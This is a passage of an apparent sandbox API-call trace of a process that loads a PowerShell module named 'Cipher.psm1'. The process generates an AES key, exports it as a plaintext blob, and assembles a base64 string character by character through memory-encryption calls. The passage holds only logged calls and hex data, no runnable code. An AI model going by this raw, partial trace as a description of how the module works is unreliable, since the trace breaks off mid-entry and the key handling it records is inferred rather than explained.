lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.255] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.255] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.255] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.256] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0128.256] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.256] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.256] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.256] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.257] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x4396570) returned 1 [0128.257] CryptGenKey (in: hProv=0x4396570, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84f78) returned 1 [0128.257] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.257] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.257] CryptExportKey (in: hKey=0x8e84f78, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6aa8a88, pdwDataLen=0x99ae7f8 | out: pbData=0x6aa8a88*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.258] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.258] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.258] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.258] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.258] SysStringLen (param_1="") returned 0x8 [0128.258] SysStringLen (param_1="+") returned 0x8 [0128.258] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.258] SysStringLen (param_1="\x87d9\xb819\xb39d\x9c28\xcfaa\x36bd\x82f6\xa6e1") returned 0x8 [0128.258] SysStringLen (param_1="\x87d9\xb819\xb39d\x9c28\xcfaa\x36bd\x82f6\xa6e1") returned 0x8 [0128.258] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.259] SysStringLen (param_1="+N") returned 0x8 [0128.259] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.259] SysStringLen (param_1="\x4c77\x23c8\xe174\xf182\x99d2\x9307\x940\xbf9d") returned 0x8 [0128.259] SysStringLen (param_1="\x4c77\x23c8\xe174\xf182\x99d2\x9307\x940\xbf9d") returned 0x8 [0128.259] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.259] SysStringLen (param_1="+Nf") returned 0x8 [0128.259] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.259] SysStringLen (param_1="\x393c\xceb\xfcee\x765e\x8405\x3d9c\xada4\xdb23") returned 0x8 [0128.259] SysStringLen (param_1="\x393c\xceb\xfcee\x765e\x8405\x3d9c\xada4\xdb23") returned 0x8 [0128.259] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.259] SysStringLen (param_1="+NfF") returned 0x8 [0128.259] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.259] SysStringLen (param_1="\x8ee7\x5854\xb416\xb6de\x2cf1\x1fc3\x476d\xa05a") returned 0x8 [0128.259] SysStringLen (param_1="\x8ee7\x5854\xb416\xb6de\x2cf1\x1fc3\x476d\xa05a") returned 0x8 [0128.259] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.259] SysStringLen (param_1="+NfFh") returned 0x8 [0128.259] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.260] SysStringLen (param_1="\xccf\x41b5\xa59f\x70aa\x567e\x127c\xe77b\x1e8d") returned 0x8 [0128.260] SysStringLen (param_1="\xccf\x41b5\xa59f\x70aa\x567e\x127c\xe77b\x1e8d") returned 0x8 [0128.260] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.260] SysStringLen (param_1="+NfFhw") returned 0x8 [0128.260] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.260] SysStringLen (param_1="\x25ea\x578a\x4a18\x1939\x7e91\xd196\xde0e\x122") returned 0x8 [0128.260] SysStringLen (param_1="\x25ea\x578a\x4a18\x1939\x7e91\xd196\xde0e\x122") returned 0x8 [0128.260] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.260] SysStringLen (param_1="+NfFhwG") returned 0x8 [0128.260] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.260] SysStringLen (param_1="\x1b35\xbc62\xa4e3\x2226\x6dcd\x7521\x7338\x8840") returned 0x8 [0128.260] SysStringLen (param_1="\x1b35\xbc62\xa4e3\x2226\x6dcd\x7521\x7338\x8840") returned 0x8 [0128.260] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.260] SysStringLen (param_1="+NfFhwGk") returned 0x8 [0128.260] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.260] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab") returned 0x8 [0128.261] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab") returned 0x8 [0128.261] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab") returned 0x8 [0128.261] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab") returned 0x10 [0128.261] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.261] SysStringLen (param_1="+NfFhwGkJ受⾏ꯧ瞒㈐ॸ") returned 0x10 [0128.261] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.261] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\x24c0\x621e\xbe64\x989e\x736f\x7b14\xba4b\xcde9") returned 0x10 [0128.261] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\x24c0\x621e\xbe64\x989e\x736f\x7b14\xba4b\xcde9") returned 0x10 [0128.261] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.261] SysStringLen (param_1="+NfFhwGkJa⾏ꯧ瞒㈐ॸ") returned 0x10 [0128.261] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.261] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xe926\x8fe4\xd8c9\x7447\x8d48\xa9e7\x3157\x303e") returned 0x10 [0128.261] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xe926\x8fe4\xd8c9\x7447\x8d48\xa9e7\x3157\x303e") returned 0x10 [0128.261] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.261] SysStringLen (param_1="+NfFhwGkJajꯧ瞒㈐ॸ") returned 0x10 [0128.261] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.261] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\x3e77\x7ac3\x5389\x3878\x9fe3\x1fe0\x5d0\x2497") returned 0x10 [0128.261] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\x3e77\x7ac3\x5389\x3878\x9fe3\x1fe0\x5d0\x2497") returned 0x10 [0128.261] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.261] SysStringLen (param_1="+NfFhwGkJajg瞒㈐ॸ") returned 0x10 [0128.261] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.262] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\x64d1\xc137\xa03c\xc8b7\xc852\xb61\xa5f2\x1b5c") returned 0x10 [0128.262] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\x64d1\xc137\xa03c\xc8b7\xc852\xb61\xa5f2\x1b5c") returned 0x10 [0128.262] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.262] SysStringLen (param_1="+NfFhwGkJajgF㈐ॸ") returned 0x10 [0128.262] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.262] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd681\x6e9e\x5440\xd458\x1263\x92d8\x8358\x191e") returned 0x10 [0128.262] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd681\x6e9e\x5440\xd458\x1263\x92d8\x8358\x191e") returned 0x10 [0128.262] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.262] SysStringLen (param_1="+NfFhwGkJajgFYॸ") returned 0x10 [0128.262] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.262] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xc97a\xb10f\xbf9b\x5145\x9dcf\x2e1e\xe79b\xf8a1") returned 0x10 [0128.262] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xc97a\xb10f\xbf9b\x5145\x9dcf\x2e1e\xe79b\xf8a1") returned 0x10 [0128.262] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.262] SysStringLen (param_1="+NfFhwGkJajgFYDॸ") returned 0x10 [0128.262] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.262] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\x6275\x5b05\xb6ae\x1180\xcce1\x4775\xe437\x6f32") returned 0x10 [0128.262] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\x6275\x5b05\xb6ae\x1180\xcce1\x4775\xe437\x6f32") returned 0x10 [0128.262] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.262] SysStringLen (param_1="+NfFhwGkJajgFYD9") returned 0x10 [0128.262] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.262] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65") returned 0x10 [0128.263] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65") returned 0x10 [0128.263] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65") returned 0x10 [0128.263] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65") returned 0x18 [0128.263] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.263] SysStringLen (param_1="+NfFhwGkJajgFYD9wᆰ∾裥熰쬸䷤벶") returned 0x18 [0128.263] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.263] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x3f14\xfb98\xb8ca\x1070\xe6b1\x3c2a\x5513\xa865") returned 0x18 [0128.263] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x3f14\xfb98\xb8ca\x1070\xe6b1\x3c2a\x5513\xa865") returned 0x18 [0128.263] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.263] SysStringLen (param_1="+NfFhwGkJajgFYD9w+∾裥熰쬸䷤벶") returned 0x18 [0128.263] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.263] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x6087\x5c7c\xf858\x2800\x7ee8\x5cab\x3952\x3f52") returned 0x18 [0128.263] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x6087\x5c7c\xf858\x2800\x7ee8\x5cab\x3952\x3f52") returned 0x18 [0128.263] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.263] SysStringLen (param_1="+NfFhwGkJajgFYD9w+z裥熰쬸䷤벶") returned 0x18 [0128.263] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.263] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x7765\x1e4b\x1590\x1106\x629\xdc92\x8620\x9689") returned 0x18 [0128.263] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x7765\x1e4b\x1590\x1106\x629\xdc92\x8620\x9689") returned 0x18 [0128.263] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.263] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zC熰쬸䷤벶") returned 0x18 [0128.263] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.264] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x46b9\x29de\xa10d\x462a\xac56\x7bb9\x7488\x95ec") returned 0x18 [0128.264] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x46b9\x29de\xa10d\x462a\xac56\x7bb9\x7488\x95ec") returned 0x18 [0128.264] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.264] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCv쬸䷤벶") returned 0x18 [0128.264] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.264] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x19c5\xbd0b\x8eb1\x3ac5\x91ff\x2dcc\x3e56\x96bc") returned 0x18 [0128.264] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x19c5\xbd0b\x8eb1\x3ac5\x91ff\x2dcc\x3e56\x96bc") returned 0x18 [0128.264] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.264] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvj䷤벶") returned 0x18 [0128.264] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.264] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\xab6c\xb794\x6372\x8386\xd126\xc152\xd2e9\x14ef") returned 0x18 [0128.264] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\xab6c\xb794\x6372\x8386\xd126\xc152\xd2e9\x14ef") returned 0x18 [0128.264] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.264] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjn벶") returned 0x18 [0128.264] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.264] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x18f2\x7781\xd17e\xde8e\x470f\x11fa\x6867\x2764") returned 0x18 [0128.264] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x18f2\x7781\xd17e\xde8e\x470f\x11fa\x6867\x2764") returned 0x18 [0128.264] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.264] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnB") returned 0x18 [0128.264] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.264] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d") returned 0x18 [0128.265] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d") returned 0x18 [0128.265] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d") returned 0x18 [0128.265] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d") returned 0x20 [0128.265] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.265] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBa蝬쎏伂ᓺ楋䝵㑎") returned 0x20 [0128.265] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.265] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x7f6d\x85d7\x47f1\x81f8\xf11c\x3113\xcfe7\xf816") returned 0x20 [0128.265] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x7f6d\x85d7\x47f1\x81f8\xf11c\x3113\xcfe7\xf816") returned 0x20 [0128.265] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.265] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab쎏伂ᓺ楋䝵㑎") returned 0x20 [0128.265] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.265] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x72b2\xd800\x97bf\xf216\x8cb4\x42d0\x5dae\x6a1e") returned 0x20 [0128.265] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x72b2\xd800\x97bf\xf216\x8cb4\x42d0\x5dae\x6a1e") returned 0x20 [0128.265] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.265] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5伂ᓺ楋䝵㑎") returned 0x20 [0128.265] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.265] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\xf7f2\x375d\xcb44\x4ba3\x658a\xd8e5\xe3d5\xf93c") returned 0x20 [0128.265] SysStringLen 